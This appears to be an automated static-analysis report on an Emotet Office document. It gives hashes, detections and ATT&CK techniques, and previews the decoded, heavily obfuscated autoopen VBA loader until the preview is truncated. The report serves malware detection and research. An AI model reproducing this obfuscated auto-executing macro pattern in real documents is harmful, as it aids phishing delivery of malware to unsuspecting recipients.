Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4008b7f97a2feab5…

MALICIOUS

Office (OLE)

148.9 KB Created: 2019-05-14 08:52:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: ce9bd1eb911ed0db0523f003173174b4 SHA-1: 5fdcf9c0dd604a34026e69987b678d7c42d76fb4 SHA-256: 4008b7f97a2feab5c8eb19b490e18aef8cbc52307f285b8e999c4c2038763839
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-10001946-0, indicating a known Emotet downloader. Heuristics confirm the presence of an obfuscated auto-executing VBA loader, specifically using GetObject for execution, which is characteristic of Emotet's behavior. The VBA code is heavily obfuscated, but the presence of autoopen and GetObject calls strongly suggests it attempts to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9079 bytes
SHA-256: 410ee80eb334a4c731b5d126b46c1f93aec566541f9acaa4ccdd74386890c17e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "C41355"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "p479940, 0, 0, MSForms, TextBox"
Attribute VB_Control = "z_6296_6, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Q_9934, 2, 2, MSForms, TextBox"
Attribute VB_Control = "L586445, 3, 3, MSForms, TextBox"
Attribute VB_Control = "U3162544, 4, 4, MSForms, TextBox"
Attribute VB_Control = "N6111574, 5, 5, MSForms, TextBox"

Attribute VB_Name = "h5_876_"

Attribute VB_Name = "u977642"
Function j50187(P396241)
   While E637531_ _
And _
z6883220
            d7794043 = "K222412"
            N69_340 = "F0528546"
            Q6_9606 = "833382143"
            P2_2553 = "813939108"
            V557283 = "n90388_"
Wend
   While J939_0 _
And _
w0_93_
            B2058870 = "s25_3_"
            l44336 = "Z5_30_8"
            p268634 = "849633288"
            E81819_3 = "563013670"
            z5543309 = "X2759573"
Wend
Set j50187 = CVar(P396241)
   While r2_29995 _
And _
Y0972_
            K20625 = "S76758"
            z426_6 = "q55_38_"
            G9404173 = "627235485"
            s48957 = "614544410"
            G3985881 = "i7173_24"
Wend
   While W3312_1 _
And _
O2715932
            X1811_ = "O887361"
            j943232 = "A37058"
            j6822265 = "749785511"
            j_2_33 = "521213248"
            z40711_ = "T4_66075"
Wend
   While L4669418 _
And _
j70500
            i61663 = "v8286705"
            Z38000_ = "a33070"
            A08934 = "822617055"
            c_81869 = "273596095"
            i98272_ = "l9701596"
Wend
End Function
Sub _
 _
 _
autoopen()
On Error Resume Next
   While A73890 _
And _
P5285__3
            d520432 = "B9941630"
            h13672_ = "B0592457"
            P17515 = "994401364"
            C23289 = "671879029"
            w79594 = "i1718_58"
Wend
   While M96158 _
And _
C613_900
            P35_7808 = "l90837_9"
            V48732 = "C4268791"
            K02808 = "168230370"
            S1492495 = "22061743"
            j6308683 = "t2_877"
Wend
   While B68171 _
And _
d5262_7
            X4244934 = "U188217"
            z16_8819 = "v752375"
            l9683804 = "919772961"
            Y75908_5 = "426907968"
            C3959_ = "F969016"
Wend
L8942331
   While C896457_ _
And _
H82967
            E33592_ = "D786_514"
            z976334_ = "d31776"
            i077_56 = "381557287"
            J3158_3 = "867820558"
            E3635450 = "v63770"
Wend
   While E21_961 _
And _
U642445
            w2665521 = "n6808944"
            S1_3_45 = "L9791042"
            k08014_9 = "595952756"
            z1926_3 = "262428734"
            z95533 = "C579618"
Wend
   While k267_02 _
And _
Y9581585
            a2671343 = "t94577"
            v4995_0 = "j2_0_323"
            c55772 = "975880155"
            Z126__64 = "962471819"
            Z8348213 = "I244036"
Wend
End Sub


Attribute VB_Name = "F197993_"
Function L8942331()
On Error Resume Next
   While i36869 _
And _
l_039449
            M38537 = "Q377510"
            Q361_249 = "B419470"
            h4___3 = "456836531"
            G69597 = "964266366"
            H32576 = "A363_626"
Wend
   While D806384 _
And _
X2_92326
            w408222 = "c603265"
            j3850672 = "T67_356"
            D842_0 = "425744602"
            w038940 = "842110806"
            a511794 = "d7076352"
Wend
b94_1494 = C41355.N6111574 + C41355.z_6296_6 + C41355.N6111574 + C41355.Q_9934 + C41355.N6111574 + C41355.N6111574 + C41355.L586445 + C41355.N6111574 + C41355.N6111574 + C41355.U3162544 + C41355.N6111574 + C41355.p479940 + C41355.N6111574
   While X6919_3 _
And _
i52517
            z560019 = "t590782"
            A0232128 = "b_7069"
            r776113 = "48777659"
            O19_64 = "583332642"
     
... (truncated)

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